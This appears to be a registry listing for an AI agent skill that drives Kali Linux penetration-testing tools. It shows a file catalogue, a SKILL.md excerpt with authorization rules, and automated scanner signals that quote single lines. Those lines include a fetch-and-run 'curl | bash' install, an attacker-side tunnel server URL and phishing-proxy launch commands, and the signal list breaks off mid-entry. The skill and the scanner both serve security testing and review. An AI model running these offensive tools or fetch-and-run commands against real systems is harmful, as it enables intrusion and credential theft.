Not in the top 1,000 by GitHub stars

x-glacier/kali-pentest

Kali Linux penetration testing skill for AI agents (Claude Code, OpenClaw, Hermes Agent). 200+ CLI tools, 15 scenario playbooks. Autonomously plans attack paths, selects tools, and integrates results across phases to adapt the penetration strategy — with human approval gates for high-risk actions.

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

kali-pentest/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

43138c5eee3c → 43138c5eee3c

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 43138c5eee3c

No earlier version was observed for comparison.

Compare on GitHub

kali-pentest-zh/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

43138c5eee3c → 43138c5eee3c

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 43138c5eee3c

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit 43138c5eee3c30848f704301f834c2426940563d

179GitHub stars
11stars in 7 days
2skills in this repository
0commits in 30 days

Heat

4.0
  • Star growth, last 7 daysNot available
  • Star growth, last 24 hoursNot available
  • Rank movement, last 7 daysNot available
  • Commits, last 30 daysNot available
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekNot available

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Oct 25, 2026Nov 6, 2026179

30-day change not yet available: not enough history.

Individual skills in this repository

How it works

kali-pentest

When your agent uses it

Execute authorized penetration testing via Kali Linux CLI tools over SSH or Docker. Covers: information gathering, vulnerability analysis, sniffing & spoofing, web/API testing, exploitation, password attacks, wireless, cloud-native security, RFID/NFC, VoIP/ICS, reverse engineering, forensics, post-exploitation/C2, and reporting.

What it loads into context

Frontmatter

122 tokens

Always available to the agent

SKILL.md

3,694 tokens

When the skill is activated

Reference documents

338,593 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. Security Constraints (Read First)
  2. Step 1: Determine Execution Environment
  3. Step 2: Plan
  4. Step 3: Execute
  5. Step 4: Analyze and Iterate
  6. Step 5: Report
  7. Reference Layout

Files

  • SKILL.mdcore17,362 bytes
  • SKILL.mdcore17,362 bytes
  • SKILL.mdcore17,362 bytes
  • references/cloud-native/README.mddoc4,940 bytes
  • references/cloud-native/tools/azurehound.mddoc4,393 bytes
  • references/cloud-native/tools/docker-bench-security.mddoc2,112 bytes
  • references/cloud-native/tools/kube-bench.mddoc1,824 bytes
  • references/cloud-native/tools/kubescape.mddoc1,818 bytes
  • references/cloud-native/tools/pacu.mddoc3,446 bytes
  • references/cloud-native/tools/peirates.mddoc6,787 bytes
  • references/cloud-native/tools/prowler.mddoc1,700 bytes
  • references/cloud-native/tools/scoutsuite.mddoc1,381 bytes
  • references/environment/README.mddoc1,589 bytes
  • references/environment/docker-mode-networking.mddoc2,431 bytes
  • references/environment/docker-mode-persistent-container.mddoc4,042 bytes
  • references/environment/docker-mode.mddoc2,079 bytes
  • references/environment/local-mode.mddoc954 bytes
  • references/environment/server-mode.mddoc4,455 bytes
  • references/environment/state-files.mddoc2,452 bytes
  • references/exploitation/README.mddoc11,750 bytes
  • references/exploitation/tools/chisel.mddoc3,377 bytes
  • references/exploitation/tools/coercer.mddoc2,633 bytes
  • references/exploitation/tools/dns2tcp.mddoc4,191 bytes
  • references/exploitation/tools/evil-winrm.mddoc3,106 bytes
  • references/exploitation/tools/evilginx2.mddoc2,483 bytes
  • references/exploitation/tools/getsploit.mddoc2,229 bytes
  • references/exploitation/tools/gophish.mddoc6,653 bytes
  • references/exploitation/tools/impacket.mddoc11,733 bytes
  • references/exploitation/tools/iodine.mddoc3,656 bytes
  • references/exploitation/tools/ligolo-ng.mddoc3,404 bytes
  • references/exploitation/tools/metasploit.mddoc11,987 bytes
  • references/exploitation/tools/mitm6.mddoc2,850 bytes
  • references/exploitation/tools/msfconsole.mddoc4,323 bytes
  • references/exploitation/tools/msfvenom.mddoc9,047 bytes
  • references/exploitation/tools/mssqlpwner.mddoc2,776 bytes
  • references/exploitation/tools/netcat.mddoc4,704 bytes
  • references/exploitation/tools/odat.mddoc3,265 bytes
  • references/exploitation/tools/proxytunnel.mddoc2,336 bytes
  • references/exploitation/tools/routersploit.mddoc3,224 bytes
  • references/exploitation/tools/searchsploit.mddoc5,262 bytes
  • references/exploitation/tools/setoolkit.mddoc1,108 bytes
  • references/exploitation/tools/smbclient.mddoc3,074 bytes
  • references/exploitation/tools/socat.mddoc3,012 bytes
  • references/exploitation/tools/veil.mddoc3,043 bytes
  • references/forensics/README.mddoc10,355 bytes
  • references/forensics/tools/bulk-extractor.mddoc4,738 bytes
  • references/forensics/tools/chainsaw.mddoc2,801 bytes
  • references/forensics/tools/chkrootkit.mddoc2,785 bytes
  • references/forensics/tools/dc3dd.mddoc3,105 bytes
  • references/forensics/tools/dcfldd.mddoc3,508 bytes
  • references/forensics/tools/ddrescue.mddoc3,790 bytes
  • references/forensics/tools/exiftool.mddoc2,752 bytes
  • references/forensics/tools/foremost.mddoc2,584 bytes
  • references/forensics/tools/hashdeep.mddoc3,867 bytes
  • references/forensics/tools/plaso.mddoc4,033 bytes
  • references/forensics/tools/regripper.mddoc3,697 bytes
  • references/forensics/tools/rkhunter.mddoc3,717 bytes
  • references/forensics/tools/scalpel.mddoc2,967 bytes
  • references/forensics/tools/sleuthkit.mddoc4,359 bytes
  • references/forensics/tools/ssdeep.mddoc3,469 bytes
  • references/forensics/tools/steghide.mddoc3,074 bytes
  • references/forensics/tools/stegseek.mddoc2,740 bytes
  • references/forensics/tools/tcpdump.mddoc2,975 bytes
  • references/forensics/tools/tcpflow.mddoc3,728 bytes
  • references/forensics/tools/testdisk.mddoc3,296 bytes
  • references/forensics/tools/tshark.mddoc3,187 bytes
  • references/forensics/tools/volatility.mddoc5,348 bytes
  • references/forensics/tools/yara.mddoc3,591 bytes
  • references/information-gathering/README.mddoc19,609 bytes
  • references/information-gathering/tools/altdns.mddoc2,071 bytes
  • references/information-gathering/tools/amass.mddoc9,906 bytes
  • references/information-gathering/tools/arp-scan.mddoc2,167 bytes
  • references/information-gathering/tools/assetfinder.mddoc2,074 bytes
  • references/information-gathering/tools/autorecon.mddoc3,124 bytes
  • references/information-gathering/tools/certgraph.mddoc3,709 bytes
  • references/information-gathering/tools/cloud-enum.mddoc2,354 bytes
  • references/information-gathering/tools/cloudbrute.mddoc2,314 bytes
  • references/information-gathering/tools/dig.mddoc2,537 bytes
  • references/information-gathering/tools/dmitry.mddoc2,170 bytes
  • references/information-gathering/tools/dnsenum.mddoc1,983 bytes
  • references/information-gathering/tools/dnsgen.mddoc1,705 bytes
  • references/information-gathering/tools/dnsmap.mddoc2,029 bytes
  • references/information-gathering/tools/dnsrecon.mddoc3,039 bytes
  • references/information-gathering/tools/dnstwist.mddoc3,253 bytes
  • references/information-gathering/tools/dnsx.mddoc3,042 bytes
  • references/information-gathering/tools/eyewitness.mddoc2,685 bytes
  • references/information-gathering/tools/fierce.mddoc2,772 bytes
  • references/information-gathering/tools/finalrecon.mddoc2,609 bytes
  • references/information-gathering/tools/findomain.mddoc2,805 bytes
  • references/information-gathering/tools/fping.mddoc2,445 bytes
  • references/information-gathering/tools/getallurls.mddoc2,746 bytes
  • references/information-gathering/tools/gowitness.mddoc5,128 bytes
  • references/information-gathering/tools/h8mail.mddoc4,168 bytes
  • references/information-gathering/tools/hakrawler.mddoc2,404 bytes
  • references/information-gathering/tools/hosthunter.mddoc2,878 bytes
  • references/information-gathering/tools/httprobe.mddoc2,329 bytes
  • references/information-gathering/tools/httpx.mddoc4,989 bytes
  • references/information-gathering/tools/ldeep.mddoc5,391 bytes
  • references/information-gathering/tools/masscan.mddoc4,143 bytes
  • references/information-gathering/tools/massdns.mddoc2,039 bytes
  • references/information-gathering/tools/metagoofil.mddoc3,374 bytes
  • references/information-gathering/tools/naabu.mddoc2,808 bytes
  • references/information-gathering/tools/nbtscan.mddoc2,317 bytes
  • references/information-gathering/tools/netdiscover.mddoc2,971 bytes
  • references/information-gathering/tools/nmap.mddoc9,083 bytes
  • references/information-gathering/tools/p0f.mddoc2,391 bytes
  • references/information-gathering/tools/recon-ng.mddoc7,030 bytes
  • references/information-gathering/tools/sherlock.mddoc4,046 bytes
  • references/information-gathering/tools/shodan.mddoc4,014 bytes
  • references/information-gathering/tools/spiderfoot.mddoc3,074 bytes
  • references/information-gathering/tools/subfinder.mddoc2,612 bytes
  • references/information-gathering/tools/sublist3r.mddoc2,117 bytes
  • references/information-gathering/tools/theHarvester.mddoc3,211 bytes
  • references/information-gathering/tools/trufflehog.mddoc3,416 bytes
  • references/information-gathering/tools/wafw00f.mddoc2,132 bytes
  • references/information-gathering/tools/whatweb.mddoc5,437 bytes
  • references/information-gathering/tools/whois.mddoc2,266 bytes
  • references/password/README.mddoc13,508 bytes
  • references/password/tools/brutespray.mddoc2,985 bytes
  • references/password/tools/cewl.mddoc2,377 bytes
  • references/password/tools/changeme.mddoc3,355 bytes
  • references/password/tools/chntpw.mddoc2,625 bytes
  • references/password/tools/crowbar.mddoc2,766 bytes
  • references/password/tools/crunch.mddoc3,102 bytes
  • references/password/tools/fcrackzip.mddoc2,418 bytes
  • references/password/tools/gpp-decrypt.mddoc2,703 bytes
  • references/password/tools/hashcat.mddoc5,016 bytes
  • references/password/tools/hashid.mddoc2,223 bytes
  • references/password/tools/hydra.mddoc4,815 bytes
  • references/password/tools/john.mddoc3,533 bytes
  • references/password/tools/kerbrute.mddoc3,032 bytes
  • references/password/tools/medusa.mddoc3,654 bytes
  • references/password/tools/name-that-hash.mddoc3,467 bytes
  • references/password/tools/ncrack.mddoc3,550 bytes
  • references/password/tools/netexec.mddoc3,418 bytes
  • references/password/tools/patator.mddoc2,426 bytes
  • references/password/tools/pdfcrack.mddoc3,097 bytes
  • references/password/tools/rainbowcrack.mddoc3,125 bytes
  • references/password/tools/responder.mddoc2,952 bytes
  • references/playbooks/README.mddoc9,027 bytes
  • references/playbooks/active-directory.mddoc15,053 bytes
  • references/playbooks/api-security.mddoc20,335 bytes
  • references/playbooks/cloud-native-assessment.mddoc19,007 bytes
  • references/playbooks/external-attack-surface.mddoc8,987 bytes
  • references/playbooks/forensics-triage.mddoc12,475 bytes
  • references/playbooks/internal-network-protocols.mddoc7,093 bytes
  • references/playbooks/internal-network.mddoc15,441 bytes
  • references/playbooks/mobile-application.mddoc10,426 bytes
  • references/playbooks/password-audit.mddoc9,560 bytes
  • references/playbooks/post-exploitation.mddoc12,505 bytes
  • references/playbooks/reporting-workflow.mddoc7,101 bytes
  • references/playbooks/rfid-nfc.mddoc7,808 bytes
  • references/playbooks/source-code-audit.mddoc9,362 bytes
  • references/playbooks/voip-ics.mddoc19,229 bytes
  • references/playbooks/web-application.mddoc16,098 bytes
  • references/playbooks/wireless-assessment.mddoc10,849 bytes
  • references/post-exploitation/README.mddoc13,339 bytes
  • references/post-exploitation/tools/bloodhound.mddoc5,154 bytes
  • references/post-exploitation/tools/bloodhound.py.mddoc4,235 bytes
  • references/post-exploitation/tools/bloodyad.mddoc4,197 bytes
  • references/post-exploitation/tools/certipy-ad.mddoc3,376 bytes
  • references/post-exploitation/tools/dnscat2.mddoc3,754 bytes
  • references/post-exploitation/tools/dploot.mddoc4,496 bytes
  • references/post-exploitation/tools/havoc.mddoc4,143 bytes
  • references/post-exploitation/tools/hekatomb.mddoc3,241 bytes
  • references/post-exploitation/tools/krbrelayx.mddoc7,871 bytes
  • references/post-exploitation/tools/lapsdumper.mddoc2,597 bytes
  • references/post-exploitation/tools/linpeas.mddoc3,979 bytes
  • references/post-exploitation/tools/linux-exploit-suggester.mddoc3,127 bytes
  • references/post-exploitation/tools/lsassy.mddoc2,941 bytes
  • references/post-exploitation/tools/mimikatz.mddoc4,593 bytes
  • references/post-exploitation/tools/powershell-empire.mddoc4,401 bytes
  • references/post-exploitation/tools/powersploit.mddoc6,118 bytes
  • references/post-exploitation/tools/proxychains.mddoc2,329 bytes
  • references/post-exploitation/tools/pspy.mddoc3,064 bytes
  • references/post-exploitation/tools/pwncat.mddoc7,128 bytes
  • references/post-exploitation/tools/sliver.mddoc1,524 bytes
  • references/post-exploitation/tools/sshuttle.mddoc3,383 bytes
  • references/post-exploitation/tools/winpeas.mddoc3,151 bytes
  • references/reporting/README.mddoc3,034 bytes
  • references/reporting/tools/pandoc.mddoc3,491 bytes
  • references/reporting/tools/report-template.mddoc9,568 bytes
  • references/reverse-engineering/README.mddoc6,514 bytes
  • references/reverse-engineering/tools/apktool.mddoc1,951 bytes
  • references/reverse-engineering/tools/binwalk.mddoc3,381 bytes
  • references/reverse-engineering/tools/checksec.mddoc3,822 bytes
  • references/reverse-engineering/tools/dex2jar.mddoc3,467 bytes
  • references/reverse-engineering/tools/frida.mddoc2,586 bytes
  • references/reverse-engineering/tools/ghidra-headless.mddoc3,227 bytes
  • references/reverse-engineering/tools/jadx.mddoc2,367 bytes
  • references/reverse-engineering/tools/ldd.mddoc2,069 bytes
  • references/reverse-engineering/tools/nm.mddoc2,375 bytes
  • references/reverse-engineering/tools/objdump.mddoc2,652 bytes
  • references/reverse-engineering/tools/objection.mddoc3,296 bytes
  • references/reverse-engineering/tools/rabin2.mddoc2,403 bytes
  • references/reverse-engineering/tools/radare2.mddoc1,415 bytes
  • references/reverse-engineering/tools/readelf.mddoc2,438 bytes
  • references/reverse-engineering/tools/ropper.mddoc4,388 bytes
  • references/reverse-engineering/tools/strings.mddoc2,463 bytes
  • references/reverse-engineering/tools/xxd.mddoc2,320 bytes
  • references/rfid-nfc/README.mddoc2,927 bytes
  • references/rfid-nfc/tools/libnfc.mddoc2,282 bytes
  • references/rfid-nfc/tools/opensc-tool.mddoc1,070 bytes
  • references/rfid-nfc/tools/pkcs15-tool.mddoc1,279 bytes
  • references/rfid-nfc/tools/proxmark3.mddoc3,509 bytes
  • references/rfid-nfc/tools/scriptor.mddoc1,512 bytes
  • references/sniffing-spoofing/README.mddoc6,904 bytes
  • references/sniffing-spoofing/tools/bettercap.mddoc4,040 bytes
  • references/sniffing-spoofing/tools/dnschef.mddoc2,844 bytes
  • references/sniffing-spoofing/tools/dsniff.mddoc3,666 bytes
  • references/sniffing-spoofing/tools/ettercap.mddoc2,566 bytes
  • references/sniffing-spoofing/tools/hping3.mddoc2,797 bytes
  • references/sniffing-spoofing/tools/macchanger.mddoc1,786 bytes
  • references/sniffing-spoofing/tools/netsniff-ng.mddoc3,404 bytes
  • references/sniffing-spoofing/tools/ngrep.mddoc3,451 bytes
  • references/sniffing-spoofing/tools/scapy.mddoc2,977 bytes
  • references/sniffing-spoofing/tools/sslstrip.mddoc2,586 bytes
  • references/voip-ics/README.mddoc5,172 bytes
  • references/voip-ics/tools/enumiax.mddoc1,408 bytes
  • references/voip-ics/tools/ipmitool.mddoc5,751 bytes
  • references/voip-ics/tools/modbus-cli.mddoc2,141 bytes
  • references/voip-ics/tools/plcscan.mddoc1,572 bytes
  • references/voip-ics/tools/sippts.mddoc5,193 bytes
  • references/voip-ics/tools/sipvicious.mddoc1,954 bytes
  • references/voip-ics/tools/voiphopper.mddoc1,631 bytes
  • references/voip-ics/tools/yersinia.mddoc3,855 bytes
  • references/vulnerability/README.mddoc10,854 bytes
  • references/vulnerability/tools/enum4linux-ng.mddoc2,672 bytes
  • references/vulnerability/tools/enum4linux.mddoc2,073 bytes
  • references/vulnerability/tools/ike-scan.mddoc2,969 bytes
  • references/vulnerability/tools/ismtp.mddoc2,368 bytes
  • references/vulnerability/tools/lynis.mddoc3,617 bytes
  • references/vulnerability/tools/nuclei.mddoc6,515 bytes
  • references/vulnerability/tools/onesixtyone.mddoc2,444 bytes
  • references/vulnerability/tools/openvas.mddoc5,039 bytes
  • references/vulnerability/tools/smbmap.mddoc2,348 bytes
  • references/vulnerability/tools/smtp-user-enum.mddoc3,579 bytes
  • references/vulnerability/tools/snmpcheck.mddoc1,726 bytes
  • references/vulnerability/tools/snmpwalk.mddoc2,639 bytes
  • references/vulnerability/tools/sslscan.mddoc2,330 bytes
  • references/vulnerability/tools/sslyze.mddoc4,564 bytes
  • references/vulnerability/tools/swaks.mddoc4,576 bytes
  • references/vulnerability/tools/testssl.sh.mddoc2,875 bytes
  • references/vulnerability/tools/trivy.mddoc2,467 bytes
  • references/web/README.mddoc15,805 bytes
  • references/web/tools/arjun.mddoc2,510 bytes
  • references/web/tools/clairvoyance.mddoc2,822 bytes
  • references/web/tools/cmseek.mddoc2,706 bytes
  • references/web/tools/commix.mddoc2,573 bytes
  • references/web/tools/crlfuzz.mddoc2,172 bytes
  • references/web/tools/dalfox.mddoc3,710 bytes
  • references/web/tools/davtest.mddoc3,584 bytes
  • references/web/tools/dirb.mddoc3,895 bytes
  • references/web/tools/dirsearch.mddoc3,966 bytes
  • references/web/tools/feroxbuster.mddoc3,128 bytes
  • references/web/tools/ffuf.mddoc8,682 bytes
  • references/web/tools/gitleaks.mddoc3,336 bytes
  • references/web/tools/gobuster.mddoc8,860 bytes
  • references/web/tools/gospider.mddoc2,473 bytes
  • references/web/tools/graphw00f.mddoc2,108 bytes
  • references/web/tools/grpcurl.mddoc3,150 bytes
  • references/web/tools/joomscan.mddoc2,972 bytes
  • references/web/tools/jwt_tool.mddoc3,028 bytes
  • references/web/tools/katana.mddoc4,503 bytes
  • references/web/tools/kiterunner.mddoc3,494 bytes
  • references/web/tools/mitmproxy.mddoc6,456 bytes
  • references/web/tools/mitmproxy2swagger.mddoc2,195 bytes
  • references/web/tools/nikto.mddoc4,965 bytes
  • references/web/tools/padbuster.mddoc3,791 bytes
  • references/web/tools/phpggc.mddoc3,697 bytes
  • references/web/tools/schemathesis.mddoc3,528 bytes
  • references/web/tools/slowhttptest.mddoc4,380 bytes
  • references/web/tools/sqlmap.mddoc10,718 bytes
  • references/web/tools/sstimap.mddoc4,515 bytes
  • references/web/tools/subjack.mddoc3,089 bytes
  • references/web/tools/tinja.mddoc3,630 bytes
  • references/web/tools/wapiti.mddoc4,843 bytes
  • references/web/tools/websocat.mddoc1,532 bytes
  • references/web/tools/weevely.mddoc3,458 bytes
  • references/web/tools/wfuzz.mddoc8,964 bytes
  • references/web/tools/wpscan.mddoc3,252 bytes
  • references/web/tools/xsstrike.mddoc2,646 bytes
  • references/web/tools/zaproxy.mddoc5,695 bytes
  • references/wireless/README.mddoc11,471 bytes
  • references/wireless/tools/airbase-ng.mddoc3,472 bytes
  • references/wireless/tools/aircrack-ng.mddoc4,982 bytes
  • references/wireless/tools/aireplay-ng.mddoc5,202 bytes
  • references/wireless/tools/airgeddon.mddoc2,871 bytes
  • references/wireless/tools/airmon-ng.mddoc3,017 bytes
  • references/wireless/tools/airodump-ng.mddoc4,771 bytes
  • references/wireless/tools/asleap.mddoc3,558 bytes
  • references/wireless/tools/blueranger.mddoc966 bytes
  • references/wireless/tools/bluesnarfer.mddoc1,632 bytes
  • references/wireless/tools/btscanner.mddoc1,251 bytes
  • references/wireless/tools/bully.mddoc3,650 bytes
  • references/wireless/tools/cowpatty.mddoc2,115 bytes
  • references/wireless/tools/crackle.mddoc1,245 bytes
  • references/wireless/tools/eaphammer.mddoc3,042 bytes
  • references/wireless/tools/fluxion.mddoc2,744 bytes
  • references/wireless/tools/gatttool.mddoc2,360 bytes
  • references/wireless/tools/hcitool.mddoc2,184 bytes
  • references/wireless/tools/hcxtools.mddoc2,691 bytes
  • references/wireless/tools/hostapd-mana.mddoc3,127 bytes
  • references/wireless/tools/kismet.mddoc5,928 bytes
  • references/wireless/tools/mdk4.mddoc3,067 bytes
  • references/wireless/tools/pixiewps.mddoc2,388 bytes
  • references/wireless/tools/reaver.mddoc4,541 bytes
  • references/wireless/tools/sdptool.mddoc1,971 bytes
  • references/wireless/tools/wifiphisher.mddoc4,428 bytes
  • references/wireless/tools/wifipumpkin3.mddoc3,510 bytes
  • references/wireless/tools/wifite.mddoc4,632 bytes
Read SKILL.md

# Kali Pentest Skill

## Security Constraints (Read First)

1. **Authorization is mandatory**: never scan or probe any target without confirmed written authorization from the user.
2. **Scope is binding**: only test the hosts, domains, ports, accounts, and techniques that the user has authorized.
3. **Risk confirmation**: High/Critical operations require explicit user approval before execution.
4. **Prohibited**: attacking unauthorized targets, destructive operations on production systems, modifying/deleting/encrypting target files without explicit request, attacking critical infrastructure.

High-risk operations include exploitation, credential spraying, brute forcing, NTLM relay, phishing, wireless attacks, persistence, data exfiltration, DoS-like scans, and intrusive vulnerability checks.

## Step 1: Determine Execution Environment

Check the user's message for connection details. If not provided, ask the user.
View the complete source on GitHub

Skills included

  • kali-pentest
  • kali-pentest-zh

Repository facts

License
Apache-2.0
Created
May 5, 2026
Last pushed
Jun 25, 2026
Forks
34
Open issues
0
Project activity
Slowing

Before you install

Network or broad shell

Automated signals, not a guarantee

Offensive security tool: run only in authorized labs.

Checked Nov 6, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 4 notes
  • kali-pentest/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • kali-pentest/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • kali-pentest-zh/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • kali-pentest-zh/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
Show all 4,016 signals by file

kali-pentest-zh/references/cloud-native/README.md

  • Network accessline 101
    - [ScoutSuite GitHub](https://github.com/nccgroup/ScoutSuite)
  • Network accessline 102
    - [Prowler Documentation](https://docs.prowler.com/)
  • Network accessline 103
    - [Kubernetes Documentation](https://kubernetes.io/docs/)
  • Network accessline 104
    - [Docker Documentation](https://docs.docker.com/)

kali-pentest-zh/references/cloud-native/tools/azurehound.md

  • Dangerous shell operationline 15
    sudo apt install azurehound
  • Network accessline 21
    wget https://github.com/SpecterOps/AzureHound/releases/latest/download/azurehound-linux-amd64.zip
  • Dangerous shell operationline 24
    sudo mv azurehound /usr/local/bin/
  • Network accessline 100
    # 通过 API 将收集的数据上传到 BloodHound CE curl -X POST https://<bloodhound-ce>/api/v2/file-upload \
  • Network accessline 101
    curl -X POST https://<bloodhound-ce>/api/v2/file-upload \
  • Network accessline 118
    - [AzureHound (GitHub)](https://github.com/SpecterOps/AzureHound)
  • Network accessline 119
    - [azurehound — Kali Tools](https://www.kali.org/tools/azurehound/)

kali-pentest-zh/references/cloud-native/tools/docker-bench-security.md

  • Network accessline 15
    git clone https://github.com/docker/docker-bench-security.git
  • Dangerous shell operationline 39
    sudo ./docker-bench-security.sh -l /tmp/docker-bench.log
  • Network accessline 59
    - [docker-bench-security GitHub](https://github.com/docker/docker-bench-security)

kali-pentest-zh/references/cloud-native/tools/kube-bench.md

  • Network accessline 58
    - [kube-bench GitHub](https://github.com/aquasecurity/kube-bench)

kali-pentest-zh/references/cloud-native/tools/kubescape.md

  • Dangerous shell operationline 15
    curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
  • Network accessline 15
    curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
  • Network accessline 53
    - [Kubescape Documentation](https://kubescape.io/docs/)
  • Network accessline 54
    - [Kubescape GitHub](https://github.com/kubescape/kubescape)

kali-pentest-zh/references/cloud-native/tools/pacu.md

  • Dangerous shell operationline 15
    sudo apt install pacu
  • Network accessline 103
    - [Pacu GitHub](https://github.com/RhinoSecurityLabs/pacu)
  • Network accessline 104
    - [Kali pacu](https://www.kali.org/tools/pacu/)

kali-pentest-zh/references/cloud-native/tools/peirates.md

  • Dangerous shell operationline 15
    sudo apt install peirates
  • Network accessline 21
    wget https://github.com/inguardians/peirates/releases/latest/download/peirates-linux-amd64.tar.xz
  • Dangerous shell operationline 24
    sudo mv peirates /usr/local/bin/
  • Network accessline 71
    | `-m <module>` | 从菜单运行指定模块(标有 `*` 的菜单项支持此选项) | | `-t <token>` | 用于认证的 JWT 令牌 | | `-u <url>` | API 服务器 URL,例如 `https://10.96.0.1:6443`(默认为空:`https://:`) |
  • Network accessline 72
    | `-t <token>` | 用于认证的 JWT 令牌 | | `-u <url>` | API 服务器 URL,例如 `https://10.96.0.1:6443`(默认为空:`https://:`) | | `-v` | 详细模式——显示调试信息 |
  • Network accessline 73
    | `-u <url>` | API 服务器 URL,例如 `https://10.96.0.1:6443`(默认为空:`https://:`) |
  • Network accessline 84
    # 使用指定的 API 服务器 URL 启动 peirates -u https://10.96.0.1:6443
  • Network accessline 85
    peirates -u https://10.96.0.1:6443
  • Network accessline 170
    - [peirates (GitHub)](https://github.com/inguardians/peirates)
  • Network accessline 171
    - [peirates — Kali Tools](https://www.kali.org/tools/peirates/)

kali-pentest-zh/references/cloud-native/tools/prowler.md

  • Network accessline 54
    - [Prowler Documentation](https://docs.prowler.com/)
  • Network accessline 55
    - [Prowler GitHub](https://github.com/prowler-cloud/prowler)

kali-pentest-zh/references/cloud-native/tools/scoutsuite.md

  • Network accessline 52
    - [ScoutSuite GitHub](https://github.com/nccgroup/ScoutSuite)

kali-pentest-zh/references/environment/docker-mode-persistent-container.md

  • Dangerous shell operationline 94
    RUN apt-get update -qq &&      apt-get install -y --no-install-recommends        nmap masscan gobuster ffuf sqlmap nikto        hydra john hashcat wordlists        metasploit-framework &&      apt-get clean && rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 99
    apt-get clean && rm -rf /var/lib/apt/lists/*

kali-pentest-zh/references/environment/docker-mode.md

  • Network accessline 46
    - [Kali Linux Docker Hub](https://hub.docker.com/u/kalilinux)
  • Network accessline 47
    - [Kali Linux Docker 官方文档](https://www.kali.org/docs/containers/official-kalilinux-docker-images/)

kali-pentest-zh/references/environment/server-mode.md

  • Access to secretsline 22
    [Credential-related source omitted]
  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 34
    [Credential-related source omitted]
  • Access to secretsline 35
    [Credential-related source omitted]
  • Dangerous shell operationline 36
    # sudo 需要 TTY——使用 ssh -t:
  • Dangerous shell operationline 37
    [Credential-related source omitted]
  • Access to secretsline 37
    [Credential-related source omitted]

kali-pentest-zh/references/exploitation/README.md

  • Network accessline 70
    **[socat](tools/socat.md)** — 高级网络中继与 Shell 升级工具   netcat 的增强版继承者,支持 TCP、UDP、TLS 加密套接字和 PTY 伪终端。最适合将基础 Shell 升级为完全交互式 TTY、创建加密 C2 通道,以及通过跳板进行端口转发。
  • Network accessline 71
    netcat 的增强版继承者,支持 TCP、UDP、TLS 加密套接字和 PTY 伪终端。最适合将基础 Shell 升级为完全交互式 TTY、创建加密 C2 通道,以及通过跳板进行端口转发。
  • Network accessline 192
    - [Kali Tools](https://www.kali.org/tools/all-tools/)

kali-pentest-zh/references/exploitation/tools/chisel.md

  • Dangerous shell operationline 17
    sudo apt install chisel
  • Network accessline 37
    |------|------| | `client` | 以客户端模式运行 | | `<server>` | 攻击端服务器 URL(如 http://192.168.1.10:8080 ) |
  • Network accessline 38
    | `client` | 以客户端模式运行 | | `<server>` | 攻击端服务器 URL(如 http://192.168.1.10:8080 ) | | `<remote>` | 隧道规格:`R:socks`(反向 SOCKS)或 `<local>:<remote-host>:<remote-port>` |
  • Network accessline 39
    | `<server>` | 攻击端服务器 URL(如 http://192.168.1.10:8080 ) |
  • Network accessline 87
    - [chisel GitHub](https://github.com/jpillora/chisel)

kali-pentest-zh/references/exploitation/tools/coercer.md

  • Dangerous shell operationline 15
    sudo apt install coercer
  • Network accessline 61
    - [Coercer (GitHub)](https://github.com/p0dalirius/Coercer)
  • Network accessline 62
    - [Kali coercer](https://www.kali.org/tools/coercer/)

kali-pentest-zh/references/exploitation/tools/dns2tcp.md

  • Dangerous shell operationline 20
    sudo apt install dns2tcp
  • Network accessline 142
    - Kali Tools: https://www.kali.org/tools/dns2tcp/
  • Network accessline 143
    - GitHub: https://github.com/alex-sector/dns2tcp

kali-pentest-zh/references/exploitation/tools/evil-winrm.md

  • Dangerous shell operationline 17
    sudo apt install evil-winrm
  • Network accessline 79
    - [Evil-WinRM GitHub](https://github.com/Hackplayers/evil-winrm)

kali-pentest-zh/references/exploitation/tools/evilginx2.md

  • Dangerous shell operationline 15
    sudo apt install evilginx2
  • Dangerous shell operationline 33
    sudo evilginx2 -p /usr/share/evilginx2/phishlets
  • Dangerous shell operationline 36
    sudo evilginx2 -developer
  • Network accessline 65
    - [evilginx2 (GitHub)](https://github.com/kgretzky/evilginx2)
  • Network accessline 66
    - [Kali evilginx2](https://www.kali.org/tools/evilginx2/)

kali-pentest-zh/references/exploitation/tools/getsploit.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install getsploit
  • Access to secretsline 58
    [Credential-related source omitted]
  • Network accessline 73
    - [getsploit GitHub](https://github.com/vulnersCom/getsploit)
  • Network accessline 74
    - [Kali getsploit](https://www.kali.org/tools/getsploit/)

kali-pentest-zh/references/exploitation/tools/gophish.md

  • Dangerous shell operationline 25
    sudo apt install gophish
  • Network accessline 27
    # 或从 GitHub releases 下载 wget https://github.com/gophish/gophish/releases/latest/download/gophish-v0.12.1-linux-64bit.zip
  • Network accessline 28
    wget https://github.com/gophish/gophish/releases/latest/download/gophish-v0.12.1-linux-64bit.zip
  • Dangerous shell operationline 80
    sudo gophish
  • Network accessline 104
    [Credential-related source omitted]
  • Access to secretsline 104
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Network accessline 118
    [Credential-related source omitted]
  • Access to secretsline 118
    [Credential-related source omitted]
  • Access to secretsline 119
    [Credential-related source omitted]
  • Network accessline 133
